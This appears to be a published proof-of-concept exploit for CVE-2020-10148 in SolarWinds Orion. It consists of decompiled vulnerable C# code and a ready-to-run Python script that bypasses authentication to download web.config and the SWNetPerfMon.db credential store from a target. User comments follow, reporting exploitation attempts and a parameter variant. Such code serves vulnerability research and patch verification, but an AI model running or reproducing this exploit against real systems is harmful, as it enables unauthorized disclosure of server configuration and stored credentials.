Solarwinds_Orion_LFD local file disclosure PoC for SolarWinds Orion aka door to SuperNova?)

Solarwinds_Orion_LFD.py

# CVE-2020-10148  (local file disclosure PoC for SolarWinds Orion aka door to SuperNova ? )
# @0xSha 
# (C) 2020 0xSha.io 

# Advisory : https://www.solarwinds.com/securityadvisory
# Mitigation : https://downloads.solarwinds.com/solarwinds/Support/SupernovaMitigation.zip
# Details : https://kb.cert.org/vuls/id/843464

# C:\inetpub\SolarWinds\bin\OrionWeb.DLL
# According to SolarWinds.Orion.Web.HttpModules
# in case of special strings this will set auth to null user and if case of ending with .i18n.ashx it will read the files
'''
private static void OnRequest(object sender, EventArgs e)
		{
			HttpApplication httpApplication = (HttpApplication)sender;
			HttpContext context = httpApplication.Context;
			string path = context.Request.Path;
			if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0)
			{
				if (context.User == null || !context.User.Identity.IsAuthenticated)
				{
					context.SkipAuthorization = true;
					context.User = new NullUser();
				}
				return;
			}
			if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || path.EndsWith(".js", StringComparison.OrdinalIgnoreCase))
			{
				if (context.User == null || !context.User.Identity.IsAuthenticated)
				{
					context.SkipAuthorization = true;
					context.User = new NullUser();
				}
				LocalizerHttpHandler.RedirectToMe(context, context.Request.Path);
				return;
			}
			if (!path.EndsWith(".i18n.ashx"))
			{
				return;
			}
			string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length);
			string path2 = i18nRedirector.RebuildPath(context.Request.QueryString, revisedFile);
			context.RewritePath(path2);
		}

        private static string RebuildPath(NameValueCollection nvc, string revisedFile)
		{
			return "/Orion/i18n.ashx?file=" + revisedFile + "&" + string.Join("&", (from x in nvc.AllKeys
			where x != "file"
			select x into key
			select string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key]))).ToArray<string>());
		}
'''


#/usr/local/bin/python3
import requests
import sys


if len(sys.argv) < 2:
    print ("[*] Usage : CVE-2020-10148.py http(s)://target")
    exit(-1)

if not(sys.argv[1].startswith("http://")):
    if not(sys.argv[1].startswith("https://")):
        print("[-] target starts either with http:// or https://")
        exit(-1)


print ("[*] Trying to leak valid file version")
target = sys.argv[1]

# appending .js to always invalid file 
# we don't verify because of self-signed instances 
# not really required but doesn't hurt either. 
leakVersion = requests.get(target+"/Orion/invalid.aspx.js" ,verify=False)  

if(leakVersion.headers["location"]):
    print("[+] Got location header")
    index = leakVersion.headers["location"].index(".i18n.ashx")
    leakedVersion = (leakVersion.headers["location"][index:])
    if (leakedVersion.__contains__("v=")):
        print ("[+] Version seems valid")
    else:
        print("[-] Invalid version")
        exit(-1)
else:
    print("[-] Can't get a valid version")
    exit(-1)

print("[*] Trying to leak web.config file ")
#print(target+"/web.config"+leakedVersion)
leakedConfig = requests.get(target+"/web.config"+leakedVersion, verify=False)
#print(leakedConfig.status_code)

if (leakedConfig.status_code == 200) and len(leakedConfig.text) > 1 :
    print("[+] Target is vulnerable Got the web.config file ")
    outputFile = target.replace("https://","").replace("http://","")+"_web.config"
    configFile = open(outputFile,"w")
    configFile.write(leakedConfig.text)
    configFile.close() 
    print("[+] web.config written to : " + outputFile )
else:
    print("[-] Failed to download web.config target is not vulnerable")
    exit(-1)

 
print("[*] Trying to leak SWNetPerfMon.db file (works only on older versions of orion) ")
# https://support.solarwinds.com/SuccessCenter/s/article/Passwords-that-Orion-stores-locally-on-the-server?language=en_US
# C:\inetpub\SolarWinds\SWNetPerfMon.db
# C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.db

leakedDB = requests.get(target+"/SWNetPerfMon.db"+leakedVersion, verify=False)

if (leakedDB.status_code == 200) and len(leakedDB.text) > 1:
    print("[+] Target is vulnerable Got the SWNetPerfMon.db file ")
   
    outputFile = target.replace("https://","").replace("http://","")+"_SWNetPerfMon.db"
    configFile = open(outputFile,"w")
    configFile.write(leakedDB.text)
    configFile.close() 
    # encrypted ? https://www.atredis.com/blog/2018/10/24/fun-with-the-solarwinds-orion-platform
    print("[+] SWNetPerfMon.db written to : " + outputFile )
else:
    print("[-] Failed to download SWNetPerfMon.db target is on newer version")
    exit(-1)

@barrett092 @0xsha, I figure out that web.config path is in: C:\inetpub\SolarWinds, and the code exploit this path so you can download and read any files in here.
For SWNet DB file, the path is: C:\Program Files(x86)\SolarWinds\Orion\ that is reason why the code can't get the file.

The powershell code by Solarwind also prevent the exploit, cause it will rewrite and block any request to i18n.ashx.

That all my information after run and try to exploit.

It appears that in some cases you can leak the web.config with arbitrary l and v parameter values web.config.i18n.ashx?l=anythingx&v=anything.

but its says cert updated its fail to download